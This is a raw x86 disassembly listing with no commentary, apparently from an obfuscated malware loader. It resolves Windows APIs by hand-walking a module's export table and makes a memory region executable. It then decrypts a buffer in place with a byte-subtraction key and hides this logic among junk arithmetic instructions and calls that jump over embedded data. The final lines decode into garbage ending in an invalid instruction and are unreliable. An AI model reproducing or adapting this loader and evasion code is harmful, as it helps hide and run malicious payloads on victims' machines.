jmp 0x41ba3e
call 0x41ba4a
add byte [edi + 0x45], al
dec ebx
cmp dword [eax*2 + 0x5f04c483], edi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x41ba7e
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x41bd6f
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x41baa6
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x41bd6f
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x41bad8
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x41bd6f
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x41bafd
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x41bd6f
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x41bb57
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x41bd63
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x41bbc7
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x41bc79
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x41bc79
push edi
push ecx
add esp, 4
sub edi, 0xc159
xor edi, 0x15973
pop edi
push ecx
push edi
add esp, 4
sub ecx, 0xc35
or ecx, 0xc071
xor ecx, 0x1078e
pop ecx
push ebx
and ebx, 0x16257
pop ebx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x41bc6b
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x41bc72
jmp 0x41bbb8
jmp 0x41bc79
push edi
push edi
add esp, 4
xor edi, 0x97b5
add edi, 0x14619
sub edi, 0xa90a
pop edi
push ebx
and ebx, 0x11da8
add ebx, 0x8d26
sub ebx, 0x272d
or ebx, 0x162fa
pop ebx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x41bcd8
mov dword [ebp - 0xc6c], 0
jmp 0x41bd47
push edi
add edi, 0x8387
sub edi, 0x117e3
and edi, 0x13118
xor edi, 0xd259
pop edi
push ecx
push edi
add esp, 4
call 0x41bd06
add byte [edi + 0x43], al
dec ebp
push eax
inc edx
inc eax
cmp byte ss:[ebx + eax*4 - 0x3c], cl
add al, 0x59
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x41bd3d
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x41bd47
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x41bd5e
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x41bd6f
jmp 0x41bb48
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push ecx
jmp 0x41bd85
sub ecx, 0x5d1f
jmp 0x41bd92
and ecx, 0xb7c1
pop ecx
push edi
sub edi, 0x16652
add edi, 0x9c49
xor edi, 0x30fd
pop edi
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x41be20
push edi
push edi
add esp, 4
xor edi, 0x3c39
pop edi
push ecx
or ecx, 0xd2b0
or ecx, 0x2bc0
pop ecx
push esi
push eax
add esp, 4
or esi, 0x7022
xor esi, 0xd579
and esi, 0x15868
pop esi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x41be3d
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x41be99
push ecx
push ebx
add esp, 4
sub ecx, 0x3401
call 0x41be65
add byte [ebx + 0x3e], al
inc esp
xor eax, 0x4e353641
dec esp
add esp, 4
pop ecx
push edi
or edi, 0x6e20
pop edi
push esi
push esi
add esp, 4
xor esi, 0x104a5
pop esi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x41be2e
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x41bf11
push ecx
jmp 0x41bed3
jmp 0x41bedc
add ecx, 0x1458
pop ecx
push edx
xor edx, 0x962a
or edx, 0x12a59
and edx, 0x164ae
add edx, 0x7652
pop edx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push edx
push eax
add esp, 4
jmp 0x41bf1f
pop edx
push eax
push edx
add esp, 4
xor eax, 0x76c4
pop eax
push ebx
add ebx, 0xd29c
jmp 0x41bf3c
or ebx, 0x3a1a
pop ebx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff04ff
pop ecx
push edi
push esi
xchg eax, ecx
or byte [ebp + 0x420dbe7], al
add al, 0x5f
pop ebx
push esp
xchg eax, ecx
or byte [ebp + 0x415afeb], al
add al, 0x63
push esp
test esp, ebp
xchg byte [ebx], al
add al, 4
pop esp
push esp
pop edx
xchg eax, ecx
or byte [ebp + 0x49f35c4], al
add al, 0x85
in al, dx
mov al, 0x1c
add al, 4
pop esp
mov esi, 0x404046f
push 0xffffffffffffff8d
cdq
shr ch, 3
add edi, dword [ecx + ebp*2 + 0x6a040404]
lea ecx, [ecx + 0x303edc2]
mov ebp, 0x4040476
push 0xffffffffffffff8d
xchg ecx, eax
invalid